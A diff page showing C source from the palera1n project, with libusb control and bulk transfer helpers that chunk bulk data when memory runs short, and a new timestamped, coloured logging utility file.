||||
if((buf = malloc(LIBUSB_CONTROL_SETUP_SIZE + w_len)) != NULL) {
|
||||
if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_OUT) {
|
||||
memcpy(buf + LIBUSB_CONTROL_SETUP_SIZE, p_data, w_len);
|
||||
}
|
||||
libusb_fill_control_setup(buf, bm_request_type, b_request, w_value, w_index, (uint16_t)w_len);
|
||||
libusb_fill_control_transfer(transfer, handle->device, buf, usb_async_cb, &completed, USB_TIMEOUT);
|
||||
if(libusb_submit_transfer(transfer) == LIBUSB_SUCCESS) {
|
||||
tv.tv_sec = usb_abort_timeout / 1000;
|
||||
tv.tv_usec = (usb_abort_timeout % 1000) * 1000;
|
||||
while(completed == 0 && libusb_handle_events_timeout_completed(NULL, &tv, &completed) == LIBUSB_SUCCESS) {
|
||||
libusb_cancel_transfer(transfer);
|
||||
}
|
||||
if(completed != 0) {
|
||||
if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_IN) {
|
||||
memcpy(p_data, libusb_control_transfer_get_data(transfer), transfer->actual_length);
|
||||
}
|
||||
result.sz = (uint32_t)transfer->actual_length;
|
||||
if(transfer->status == LIBUSB_TRANSFER_COMPLETED) {
|
||||
result.ret = USB_TRANSFER_OK;
|
||||
} else if(transfer->status == LIBUSB_TRANSFER_STALL) {
|
||||
result.ret = USB_TRANSFER_STALL;
|
||||
} else {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
}
|
||||
}
|
||||
}
|
||||
free(buf);
|
||||
}
|
||||
libusb_free_transfer(transfer);
|
||||
}
|
||||
|
||||
if(completed == 0) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = 0;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
transfer_ret_t send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len)
|
||||
{
|
||||
transfer_ret_t result;
|
||||
|
||||
if(!handle || !handle->device) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, 0);
|
||||
|
||||
if(ret >= 0) {
|
||||
result.sz = (uint32_t)ret;
|
||||
result.ret = USB_TRANSFER_OK;
|
||||
} else if(ret == LIBUSB_ERROR_PIPE) {
|
||||
result.ret = USB_TRANSFER_STALL;
|
||||
result.sz = 0;
|
||||
} else {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = 0;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
transfer_ret_t send_interface_bulk_transfer(const usb_handle_t *handle, void *data, int len)
|
||||
{
|
||||
transfer_ret_t result;
|
||||
|
||||
if(!handle || !handle->device) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
static uint32_t maxLen = 0;
|
||||
int transferred = 0;
|
||||
int ret;
|
||||
|
||||
if(maxLen == 0)
|
||||
{
|
||||
ret = libusb_bulk_transfer(handle->device, 2, data, len, &transferred, 0);
|
||||
if(ret == LIBUSB_SUCCESS)
|
||||
{
|
||||
result.ret = USB_TRANSFER_OK;
|
||||
result.sz = transferred;
|
||||
return result;
|
||||
}
|
||||
else if(ret != LIBUSB_ERROR_NO_MEM)
|
||||
{
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = transferred;
|
||||
return result;
|
||||
}
|
||||
#if defined(__linux__)
|
||||
// We only get here on ENOMEM
|
||||
FILE *f = fopen("/sys/module/usbcore/parameters/usbfs_memory_mb", "r");
|
||||
if(f)
|
||||
{
|
||||
char str[32]; // More than enough to hold a uint64 in decimal
|
||||
size_t s = fread(str, 1, sizeof(str), f);
|
||||
fclose(f);
|
||||
if(s == 0 || s >= sizeof(str)) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = transferred;
|
||||
return result;
|
||||
}
|
||||
str[s] = '\0';
|
||||
char *end = NULL;
|
||||
unsigned long long max = strtoull(str, &end, 0);
|
||||
// Using the limit as-is will lead to ENOMEM, so we multiply
|
||||
// by half a MB and impose an appropriate max value.
|
||||
if(*end == '\n') ++end;
|
||||
if(*end != '\0' || max == 0 || max >= 0x2000) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = transferred;
|
||||
return result;
|
||||
}
|
||||
maxLen = (uint32_t)(max << 19);
|
||||
}
|
||||
else
|
||||
#endif
|
||||
{
|
||||
// Just 1MB by default?
|
||||
maxLen = 0x100000;
|
||||
}
|
||||
}
|
||||
// If we get here, we have to chunk our data
|
||||
for(int done = transferred; done < len; )
|
||||
{
|
||||
uint32_t chunk = len - done;
|
||||
if(chunk > maxLen) chunk = maxLen;
|
||||
transferred = 0;
|
||||
ret = libusb_bulk_transfer(handle->device, 2, (unsigned char*)data + done, chunk, &transferred, 0);
|
||||
done += transferred;
|
||||
if(ret == LIBUSB_SUCCESS) continue;
|
||||
if(ret != LIBUSB_ERROR_NO_MEM || maxLen <= 0x40) {
|
||||
result.ret = USB_TRANSFER_ERROR;
|
||||
result.sz = transferred;
|
||||
return result;
|
||||
}
|
||||
maxLen /= 2;
|
||||
}
|
||||
|
||||
result.ret = USB_TRANSFER_OK;
|
||||
result.sz = transferred;
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) {
|
||||
handle->vid = vid;
|
||||
handle->pid = pid;
|
||||
handle->device = NULL;
|
||||
}
|
||||
|
||||
#endif // __APPLE__
|
||||
@@ -0,0 +1,127 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (c) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: Apache-2.0
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
#include <utils.h>
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdarg.h>
|
||||
#ifdef _WIN32
|
||||
# include <windows.h>
|
||||
#endif
|
||||
#include <time.h>
|
||||
|
||||
uint8_t gDebugLevel = 0;
|
||||
bool gSilentLogs = false;
|
||||
bool gColoredLogs = true;
|
||||
|
||||
static const char *level_names[] = {
|
||||
[LOG_INFO] = "INFO",
|
||||
[LOG_ERROR] = "ERROR",
|
||||
[LOG_VERBOSE] = "VERBOSE",
|
||||
};
|
||||
|
||||
static const char *level_colors[] = {
|
||||
[LOG_INFO] = CYAN_COLOR,
|
||||
[LOG_ERROR] = RED_COLOR,
|
||||
[LOG_VERBOSE] = RESET_COLOR,
|
||||
};
|
||||
|
||||
static inline void _get_timestamp(char *buf, size_t len)
|
||||
{
|
||||
time_t t = time(NULL);
|
||||
struct tm tm_info;
|
||||
|
||||
#ifdef _WIN32
|
||||
localtime_s(&tm_info, &t);
|
||||
#else
|
||||
localtime_r(&t, &tm_info);
|
||||
#endif
|
||||
|
||||
strftime(buf, len, "%Y/%m/%d %H:%M:%S", &tm_info);
|
||||
}
|
||||
|
||||
void log_write_internal(log_level_t level, const char* func, const char* file, int line, const char *fmt, ...)
|
||||
{
|
||||
if (gSilentLogs) return;
|
||||
if (level == LOG_VERBOSE && gDebugLevel < 1) return;
|
||||
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
|
||||
char tag_buf[32];
|
||||
char ts[32];
|
||||
|
||||
_get_timestamp(ts, sizeof(ts));
|
||||
snprintf(tag_buf, sizeof(tag_buf), "<%s>", level_names[level]);
|
||||
|
||||
if (!gColoredLogs) {
|
||||
printf(" %9s [%s] => ", tag_buf, ts);
|
||||
} else {
|
||||
printf(" %s%9s%s [%s%s%s] => ",
|
||||
level_colors[level],
|
||||
tag_buf,
|
||||
RESET_COLOR,
|
||||
GRAY_COLOR,
|
||||
ts,
|
||||
RESET_COLOR
|
||||
);
|
||||
}
|
||||
|
||||
vprintf(fmt, args);
|
||||
|
||||
if (gDebugLevel >= 2) {
|
||||
if (gColoredLogs) {
|
||||
printf("\n %s└────[%sTRACE(%d)%s = %s()[%s:%d]]",
|
||||
RESET_COLOR,
|
||||
MAGENTA_COLOR,
|
||||
gDebugLevel,
|
||||
RESET_COLOR,
|
||||
func,
|
||||
file,
|
||||
line
|
||||
);
|
||||
} else {
|
||||
printf("\n └────[TRACE(%d) = %s()[%s:%d]]",
|
||||
gDebugLevel,
|
||||
func,
|
||||
file,
|
||||
line
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
putchar('\n');
|
||||
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void sleep_ms(unsigned ms) {
|
||||
#ifdef _WIN32
|
||||
Sleep(ms);
|
||||
#else
|
||||
struct timespec ts;
|
||||
|
||||
ts.tv_sec = ms / 1000;
|
||||
ts.tv_nsec = (ms % 1000) * 1000000L;
|
||||
nanosleep(&ts, NULL);
|
||||
#endif
|
||||
}
|
||||
Reference in new issue
Block a user